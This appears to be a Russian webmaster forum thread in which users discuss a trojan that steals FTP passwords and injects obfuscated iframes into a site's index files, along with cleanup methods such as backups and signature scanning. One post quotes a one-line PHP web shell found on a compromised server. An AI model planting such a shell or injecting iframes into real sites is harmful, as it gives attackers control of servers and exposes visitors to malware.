троян JS - Форум web мастеров

mielenyvin · 27.12.2007, 19:27

как мне изгнать трояна с ресурса excellentonline.net ?

Devil · 27.12.2007, 19:51

mielenyvin, привет=) смотря какой троян. Поидее протрояненна была твоя машина, и отсюда уже ты протраянел хостенг. Или, тебе залили шел. Кто твой хостер? попроси его помочь, в конце концов антивирусная защита то, быть должна

mielenyvin · 27.12.2007, 20:22

привет. провайдеры утверждают, что это вирус, который проникая в систему, заходит под моим логином через фтп, и прописывают себя в виде строки с iframe в моих html файлах. и что типа мне нужно подправить мои хтмлники. но там, в них, если ты посмотришь исходный код - ничего такого нет. у тебя антивирус не орёт?

Devil · 27.12.2007, 20:59

Стоит проверить себя антивирем + вычистить HTML. У тебя стоит какая то CMS, или это просто HTML странички? Вся фишка в том, что у тебя сперли пас (или подобрали если был простой). Пас советую поменять. я тоже пападал на такую штуку по молодости лет

Если у тебя CMS то обрати внимание на файл footer (если он есть) если же нет, то как правило такие вещи прописываются только в файлы index(.php .hml . htm . ast .etc). Код вшит именно туда )

akxxiv · 14.02.2008, 04:46

Обычно на индексную страницу вконец присобачивают JS закодированный, которы при загрузке создает ифрэйм. У меня даже один таой лежит где-то. Скачал как-то так и не разобрал его по частя.....

RXcoder · 27.02.2008, 19:48

У меня с этим вирусом была встреча

Дизайн студия, на которую я работаю была протроянена, у них сперли все пароли к ftp. И начали внедрять js ифреймы, просто ифреймы и даже php какую-то ерунду, сейчас уж не помню. Заражали все индексные файлы(сайтов примерно штук 5-7). Они ко мне, типа убери там, там етот вирус. Я им говорю чистите сначала свою машину, а то это мне работа на всю жизнь. Вы пароли меняете на FTP, их у вас благополучно уводят и опять заражают.
Еще тут статья в "Хакере" попалась - "Гоним траф". Я думаю, ну всё, начинается глобальная ифреймизация интернета. Теперь каждый захочет попробовать.
Пришлось писать что-то типа защиты. Т.е. сначала сайт троянят, а потом я его лечу спец скриптом. Скрипт написал со сл. ф-циями.
1. бэкап всех файлов с возможностью отката к непроифрейменой версии сайта.
2. Поиск по сигнатурам. Т.е. я заношу в файл код этого ифрейма, это типа сигнатура. И потом делаю скан всех файлов сайта на поиск этой сигнатуры. Итого накопилось около 15 разновидностей ифрейма.
3. Просто скан сайта, и выдача результата: какие файлы изменились, были удалены или были добавлены.

Гдето месяца 2 я гонялся за этим ифреймом. Стало уже привычным делом. Потом стихло. Видимо заказчики установили антивирус/фаервол блин. Так вот.

RXcoder · 27.02.2008, 19:56

Мне даже в руки попал такой ифреймер. Он сканирует все директории сайта, ищет файлы по шаблону(значит может не только индексные заражать), в них внедряет код возле тегов <html></head>, <body>, </body>, </html>. Есть даже опция - переписать содержимое файла. + в отдельном файле список акков к ftp.

В ифрейме вы конечно никакого вируса не найдете, он там, куда ведет этот ифрейм.

Devil · 28.02.2008, 17:54

RXcoder, не приятная вещица, но ещё хуже когда у тебя на фтп в корне воляеться скрипт позволяющий залить тебе любую дрянь и сменить чмоды

Это жесть)))

RXcoder · 02.03.2008, 07:12

Хе-хе, откуда узнал?
Как-раз валяется. Я его обнаружил с неделю-две назад на сайте всё той-же конторы, но не стал удалять. Скрипт нехитрый:
<? system($_GET['cmd']); ?>
А не стал удалять потому, что сервер работает в безопасном режиме и system() не пашет. Я просто его изменил так, чтоб он вел логи хакерских попыток чегонить натворить.
Но хакер видно его туда залил, попробовал - ничего не работает и забросил. Логи пока пусты.

P.S. Кстате о хакерах. Сейчас можно получить почтовый ящик на Xakep.ru, Кому интересно - забивайте быстрей свои ники пока не заняли.